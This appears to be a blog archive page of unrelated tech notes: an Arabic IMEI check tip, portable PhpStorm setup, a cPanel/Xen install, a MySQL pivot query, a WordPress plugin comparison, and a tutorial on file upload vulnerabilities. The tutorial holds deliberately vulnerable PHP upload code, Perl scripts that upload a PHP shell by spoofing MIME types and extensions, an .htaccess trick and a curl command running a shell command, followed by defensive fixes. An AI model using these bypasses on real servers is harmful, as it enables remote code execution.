الهاتف الجوال اصلي ام تقليد

لمعرفة الاصلي من دون الاصلي من خلال  التليفون اتصل بالرقم التالي
*#06#
راح يطلع رقمين
IMEI
SN
ادخل الموقع ده وافحص
http://www.imei.info/
دخل الرقم
IMEI

بعدها يظهرلك معلومات الجهاز
بعدين اضغط علي Waranty Check

دخل السيريال

SN
راح يطلع لك معلومات الضمان

لاتنساني من دعوه صالحه

php storm portable

Yes, it’s possible, just copy the installation directory to the flash drive, then edit IDEA_HOME\bin\idea.properties file, change the values of idea.config.path and idea.plugins.path to the relative location, like: ../config and ../user-plugins (locations are relative to IDEA bin directory).

Now copy your original settings and third-party plug-ins (if any):

  • ${user.home}/.IntelliJIdea10/config => usb:/IDEA_HOME/config
  • ${user.home}/.IntelliJIdea10/config/plugins => usb:/IDEA_HOME/user-plugins

Note that it’s not recommended to change idea.system.path variable, so that it remains on the fast local drive, otherwise it could affect IDEA performance and occupy a lot of USB drive space.

 

more details go below 🙂

 

Download PHPStorm from JetBrains. There are 30 days trial downloads for both stable and development (called EAP or or early access program) versions.

Unzip the downloads to an empty folder. If you have downloaded the executable version, just change the file extension from .exe to .zip then unzip it.

Investigate the extracted folder (ex. PhpStorm-8.0.2). Let go to the sub-folder bin and open the file idea.properties in your text editor (ex. Notepad on Windows) and pay attention to ${idea.home}, ${user.home} and 4 commented lines in the top part of the file:

# idea.config.path=${user.home}/.WebIde/config
# idea.system.path=${user.home}/.WebIde/system
# idea.plugins.path=${idea.config.path}/plugins
# idea.log.path=${idea.system.path}/log

The macro ${idea.home} is the unpacked (executable) folder (ie.PhpStorm-8.0.2) in this case. The macro ${user.home} is to specify the user’s home folder on a system (ex. C:\Users\username on Windows), and .WebIde is the folder to be created when the program runs to store all the user settings and downloads in it.

Now make PHPStorm portable by modifying the file idea.properties to store all the settings and configurations in a nested folder of your choice (ie. PhpStorm-8.0.2/usr in this tutorial) by uncommenting the 4 commented line above:

idea.config.path=${idea.home}/usr/config
idea.system.path=${idea.home}/usr/system
idea.plugins.path=${idea.config.path}/plugins
idea.log.path=${idea.system.path}/log

When you start PHPStorm for the first time, the program will create the folder usr, usr/config and usr/system to store its data inside its executable folder (ie. PhpStorm-8.0.2/usr/system) by the macro ${idea.home}. Remember it is ${idea.home} not ${user.home} anymore. Also, it will save all user’s custom configurations and installed plugins in the 2 folders usr/config and usr/config/plugins.

Upload everything to the cloud or save it in a USB drive. Now you have a portable PHPStorm that you can take to anywhere. Enjoy!

Notes: At the first run, you must accept the licence aggreement and choose either use the 30 days trials or import your licence key. If you already run PHPStorm on your system, you may need to transfer your settings and configurations from your home folder’s .WebIde folder to the approriate folders in the new portable PHPStorm.

Complete File Upload Vulnerabilities

Allowing an end user to upload files to your website is like opening another door for a malicious user to compromise your server. However, uploading files is a necessity for any web application with advanced functionality. Whether it is a social networking site like Facebook and Twitter, or an intranet document sharing portal, web forums and blog sites have to let users employ avatars and other tools to upload images, videos and numerous other file types.

Unfortunately, uploaded files represent a significant risk to applications. Any attacker wants to find a way to get a code onto a victim system, and then looks for a way to execute that code. Using an uploaded file upload accomplishes this first step.

There are really two different types of problems here. The first is generated from file metadata, like the path and filename. These are generally provided by the transport, such as HTTP multipart encoding. This data can be used to trick the application into overwriting a critical file or storing the file in a bad location. For example, the attacker can upload file called index.php in the root folder by upload a malicious file and its filename might look like this “../../../index.php”. So you must validate the metadata extremely carefully before using it.

The other type of problem with uploaded data comes from file content. In this article, we will discuss some poor techniques that are often used to protect and process uploaded files, as well as the methods for bypassing them.

Basic Implementation to Upload a File

Any file upload implementation technique simply consists of an HTML file and a PHP script file. The HTML file creates a user interface that allow the user to choose which file to upload, while the PHP script contains the code that handles the request to upload the selected file.

Below is an example of HTML and PHP Script:

HTML Form:

<form enctype="multipart/form-data" action="uploader.php" method="POST">
<input type="hidden" name="MAX_FILE_SIZE" value="100000" />
Choose a file to upload: <input name="uploadedfile" type="file" /><br />
<input type="submit" value="Upload File" />
</form>

PHP Code:

<?php
$target_path="uploads/";
//Here we set the target path that will save the file in to.
$target_path = $target_path.basename($_FILES['uploadedfile']['name']);
// here wll move the desired file from the tmp directory to the target path
if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'],$target_path)){
echo "the file " . basename($_FILES['uploadedfile']['name']) . " has been uploaded! ";
}else {
echo "there was an error uploading the file ,please try again!";
}
?>

In this simple example, there are no restrictions made regarding the type of files allowed for uploading. Therefore, an attacker can upload a PHP shell file with malicious code that can lead to full control of a victim server. Additionally, the uploaded file can be moved to the root directory, meaning that the attacker can access it through the Internet.

Content-type Verification

The first technique web developers use to secure file upload forms is to check the MIME type any uploaded file that returns from PHP. The developer checks to see if the variable

“$_FILES[‘uploadedfile’][‘type’]” holds the value of the MIME type, and is equal to specific values that the developer permits users to upload. If they are equal, the file will be uploaded, if not, the user will see a custom error message.

The “content-type” in the header of the request indicates the MIME type. A malicious user can easily upload files using a script (or some other automated application) that allows the sending or tampering of HTTP POST requests. This in turn will allow him to send a fake mime-type.

For example, below is a PHP code that accepts images only. In this case, a developer checks if the MIME type is not equal to “image/gif”. Here I will show a custom error message, and if they equal, the file will be uploaded. Let’s save the following code in a file called Demo1.php:

<?php
//Demo1.php
if($_FILES['uploadedfile']['type'] != "image/gif") {
echo "Sorry, we only allow uploading GIF images";
exit;
}
$uploaddir = 'uploads/';
$uploadfile = $uploaddir . basename($_FILES['uploadedfile']['name']);
if (move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $uploadfile)) {
echo "File is valid, and was successfully uploaded.\n";
} else {
echo "File uploading failed.\n";
}
?>

In this case, if the attacker tries to upload a file called shell.php, the application will check the MIME type to see if it is: “application/x-php”. Here the application will show the error message.

An attacker can bypass this protection by changing the MIME type of the shell.php to “image/gif”. So when an application checks the MIME type, it seems like a gif file. The application will then upload the malicious code shell.php.

The Perl script shown below uploads a PHP shell to the server using Demo1.php:

#!/usr/bin/perl
#
use LWP;
use HTTP::Request::Common;
$ua = $ua = LWP::UserAgent->new;;
$res = $ua->request(POST 'http://localhost/Demo1.php',
Content_Type => 'form-data',
Content => [
userfile => ["shell.php", "shell.php", "Content-Type" =>"image/gif"],
],

);
print $res->as_string();

After running the perl script, we can request the uploaded file and execute shell commands on the web server:

$ curl http://localhost/uploads/shell.php?cmd=id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Finally , here is a video that demonstrate Content type verification :

http://www.securitytube.net/video/3884

File Name Extension Verification

In this scenario, a web developer will encounter a file upload forms that uses a blacklist approach. So the developer will create a list of dangerous extensions, and access will be denied if the extension of the file being uploaded is on the list.

The largest drawback to using a blacklist of file extensions is that it is almost impossible to create a list that includes all possible extensions that an attacker can use. For example, if the code is running in a hosted environment, such environments usually allow for use of a large number of scripting languages including Perl, Python, Ruby, etc. The list can be endless.

The First Method to Bypass this Problem is to Upload a “.htaccess” file:

A malicious user can successfully run a php shell code if he successfully uploads a file called “.htaccess”, which contains a line of code similar to the below:

AddType application/x-httpd-php .jpg

The above line of code instructs an Apache web server to execute jpg images as if they were PHP scripts. The attacker can now upload a file with a jpg extension, which contains PHP code. As seen in the screen shot below, the act of requesting a jpg file (which includes the PHP shell code that takes “cmd” parameter) can be used to execute a command on the system.

The second Method to Bypass this Problem is to Use Some Features of Apache:

In this technique, the developer extracts the file extension by looking for the ‘.’ character in the filename, and extracting the string after the dot character. This method for bypassing blacklisting is both simple and realistic, so let’s have a look at how Apache handles files with multiple extensions. The Apache manual states:

“Files can have more than one extension, and the order of the extensions is normally irrelevant. For example, if the file welcome.html.fr maps onto content type text/html and language French then the file welcome.fr.html will map onto exactly the same information. If more than one extension is given which maps onto the same type of meta-information, then the one to the right will be used, except for languages and content encodings. For example, if .gif maps to the MIME-type image/gif and .html maps to the MIME-type text/html, then the file welcome.gif.html will be associated with the MIME-type text/html.”

Based on the previous quote we know that if we create a file called “shell.php.blah”, this file will be interpreted and executed as a PHP file. This only works because the last extension wasn’t specified on the list of MIME-types known to the web server. So the web server will execute the MIME-types that it can recognize, which, in this case, is PHP as mentioned earlier in the quote.

Third Method for Bypassing the Black List :

We can make a blacklist of file extensions, and check the file names specified by the user to make sure that they do not have any of the bad extensions that are already known. Here is the Demo2.php:


<?php
$blacklist = array(".php","html","shtml",".phtml", ".php3", ".php4");
foreach ($blacklist as $item) {
if(preg_match("/$item\$/", $_FILES['uploadedfile']['name'])) {
echo "We do not allow uploading PHP files\n";
exit;
}
}
$uploaddir = 'uploads/';
$uploadfile = $uploaddir . basename($_FILES['uploadedfile']['name']);
if (move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $uploadfile)) {
echo "File is valid, and was successfully uploaded.\n";
} else {
echo "File uploading failed.\n";
}
?>

You can bypass this simply by changing the extension from “.php” to “.PHP”. The method is so basic because in that code we searching for the lowercase of “php”. So the developer must change ($_FILES[‘uploadedfile’][‘name’]) to lowercase, and then search for the extensions OR using “/i” that makes the regex match case insensitive.

The Perl script shown below uploads a PHP shell to the server using Demo2.php:


#!/usr/bin/perl
#
use LWP;
use HTTP::Request::Common;
$ua = $ua = LWP::UserAgent->new;;
$res = $ua->request(POST 'http://localhost/Demo2.php',
Content_Type => 'form-data',
Content => [
userfile => ["shell.PHP", "shell.PHP", "Content-Type" =>"image/gif"],
],
);
print $res->as_string();

Image File Content Verification:

A developer typically checks if the function returns a true or false and validates any uploaded file using this information. So if a malicious user tries to upload a simple PHP shell embedded in a jpg file, the function will return false, and he won’t be allowed to upload the file. However, even this approach can be easily bypassed. If a picture is opened in an image editor, like Gimp, one can edit the image comment, where PHP code is inserted, as shown below. When the developer permits uploading images only, the developers use the getimagesize() function to validate the image header. The getimagesize() function takes a file name as an argument and returns the size of the image if it’s true, and relays the indication false if the argument has failed. So if the attacker can inject the PHP shell code to an image, the header of this image will be corrupted so that the function will fail and the function will return as false. He won’t be allowed to upload the shell script to the remote server. Unfortunately, attackers have founded ways to bypass this technique too. Attackers can use an image editor, like Gimp, to edit the image comment and insert a php shell script there. Consider Demo3.php below:

<?php
$imageinfo = getimagesize($_FILES['uploadedfile']['tmp_name']);
if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg') {
echo "Sorry, we only accept GIF and JPEG images\n";
exit;
}
$uploaddir = 'uploads/';
$uploadfile = $uploaddir . basename($_FILES['uploadedfile']['name']);
if (move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $uploadfile)) {
echo "File is valid, and was successfully uploaded.\n";
} else {
echo "File uploading failed.\n";
}
?>

Now even if the attacker sets the content-type header to “image/gif” after trying to upload shell.php, Demo3.php won’t accept it anymore. Instead, we will embed the php shell script in the comment section. When the PHP interpreter looks at the file, it sees the executable PHP code inside of some binary garbage.

Now let’s upload the image through web browser or through the following perl script:


#!/usr/bin/perl
#
use LWP;
use HTTP::Request::Common;
$ua = $ua = LWP::UserAgent->new;;
$res = $ua->request(POST 'http://localhost/Demo3.php',
Content_Type => 'form-data',
Content => [
userfile => ["chelsea-logo.jpg", "chelsea-logo.jpg", "Content-Type" =>
"image/jpg"],
],
);
print $res->as_string();

Now the attacker can request: uploads/chelsea-logo.jpg

Solution:

Here are some solutions that will help you secure your file upload process. Overall however, you must be aware that the more functionalities you provide to the user, the more chances to compromise your server—so don’t implement any functionality that you don’t really need it.

  • Define a .htaccess file that will only allow access to files with allowed extensions.
  • Do not place the .htaccess file in the same directory where the uploaded files will be stored. It should be placed in the parent directory.
  • The most important thing is to keep uploaded files in a location that can’t access though

    the Internet. This can be done either by storing uploaded files outside of the web root or configuring the web server to deny access to the uploads directory.

  • Create a white list for accepting MIMIE types. NEVER use a blacklist technique.
  • Generate a random file name so even if the attacker uploads a malicious php code, he will encounter problems trying to determine the name of the file in the uploaded folder.

Conclusion

A developer must be careful not to expose applications to attack while implementing file upload functionalities because poorly designed tools for file upload implementation can lead to vulnerabilities such as remote code execution. .

References

OWASP Unrestricted File Upload: https://www.owasp.org/index.php/Unrestricted_File_Upload

install new cpanel centos vm xen server from local repos

first this is the iso
http://httpupdate.cpanel.net/cPanel-CentOS-6.4-x86_64.iso

always get lattest from this url
http://httpupdate.cpanel.net/

ok lets start

log in to the host server ssh

cd /
mkdir /isolib
wget http://httpupdate.cpanel.net/cPanel-CentOS-6.4-x86_64.iso
xe sr-create name-label=isolib type=iso device-config:legacy_mode=true device-config:location=/isolib content-type=iso

finished then go create virtual vm and install centos if any question comment me

MySQL Pivot dynamic table columns

SET @sql = NULL;
SELECT
  GROUP_CONCAT(DISTINCT
    CONCAT(
      'MAX(IF(pa.meta_name = ''',
      meta_name,
      ''', "pa.meta_value", NULL)) AS ',
      meta_name
    )
  ) INTO @sql
FROM post_meta;

SET @sql = CONCAT('SELECT p.id
                    , p.name
                    , p.type, ', @sql, ' 
                   FROM post p
                   LEFT JOIN post_meta AS pa 
                    ON p.id = pa.post_id
                   GROUP BY p.id');

PREPARE stmt FROM @sql;
EXECUTE stmt;
DEALLOCATE PREPARE stmt;

also this is the db structure may help any

DROP TABLE IF EXISTS `post`;
CREATE TABLE IF NOT EXISTS `post` (
  `id` int(11) DEFAULT NULL,
  `name` varchar(10) DEFAULT NULL,
  `type` varchar(50) DEFAULT NULL,
  `order` int(11) DEFAULT NULL
) ENGINE=InnoDB DEFAULT CHARSET=latin1;

INSERT INTO `post` (`id`, `name`, `type`, `order`) VALUES
	(1, 'product1', 'first product', 5),
	(2, 'product2', 'second product', 5);


DROP TABLE IF EXISTS `post_meta`;
CREATE TABLE IF NOT EXISTS `post_meta` (
  `post_id` int(11) DEFAULT NULL,
  `meta_name` varchar(10) DEFAULT NULL,
  `meta_value` varchar(10) DEFAULT NULL
) ENGINE=InnoDB DEFAULT CHARSET=latin1;


INSERT INTO `post_meta` (`post_id`, `meta_name`, `meta_value`) VALUES
	(1, 'size', '\'\'\''),
	(1, 'height', '103'),
	(2, 'size', 'L'),
	(2, 'title', '13'),
	(2, 'color', '????');

WordPress custom post types plugins benchmark : WP plugins benchmark

WordPress custom post types plugins benchmark : WP plugins benchmark
. WordPress custom post types plugins benchmark by Nicolas Mollet
. Easy post types Custom post type UI WP post type UI CMS Press GD Custom Posts And Taxonomies Tools Lite GD Custom Posts And Taxonomies Tools Pro More Types
. Review date June 23rd, 2010 July 6th, 2010 July 6th, 2010 July 6th, 2010 July 6th, 2010 July 6th, 2010
. Review by Nicolas Mollet Nicolas Mollet Nicolas Mollet Nicolas Mollet Nicolas Mollet Nicolas Mollet
. Plugin last update July 3rd, 2010 June 30th, 2010 July 1st, 2010 June 11th, 2010 July 4th, 2010 July 4th, 2010
. License Free Free Free Free Free Premium Free
. Post types Yes Yes Yes Yes Yes Yes
. Taxonomies Yes Yes Yes Yes Yes Yes
. Fields / Meta boxes Yes No No No No No
.
. Post types options
. Permalinks Yes Yes Yes Yes Yes Yes
. Admin UI Columns configuration Yes No No No No No
. Permissions Yes No No No Yes Yes
. Include in search Yes Yes Yes Yes Yes Yes
. Admin UI labels configuration Yes Yes No No Yes Yes
. Default boxes configuration (excerpt, author,…) Yes Yes Yes Yes Yes Yes
. Export post type configuration Yes No No No No No
. Import post type configuration Yes No No No No No
. Generate function No No No No No Yes
.
. Taxonomies options
. Share taxo with other post types Yes Yes No Yes Yes Yes
. Categories (hierarchical) Yes Yes Yes Yes Yes Yes
. Tags (non-hierarchical) Yes Yes Yes Yes Yes Yes
. Generate function No No No No No Yes
.
. Fields / Meta boxes options
. Multiple boxes No No No No No No
. Upload field No No No No No No
. Select field Yes No No No No No
. Date field Yes No No No No No
. Text field 1 line Yes No No No No No
. Text field multilines Yes No No No No No
. Html editor field No No No No No No
. Share boxes with other post types No No No No No No
. Template function get_post_meta Yes No No No No No
.
. Fields / Meta boxes plugins compatibility
. Magic Fields No No No No No No
. More Fields No No No No No No
. Verve Meta Boxes No Yes Yes Yes Yes Yes
. Simple Fields (dropdown buggy) Yes Yes Yes Yes Yes Yes
. Custom Field Template No Yes Yes Yes Yes Yes
.
. Opinion
. Ranking by Nicolas Mollet 5 1 3 2 4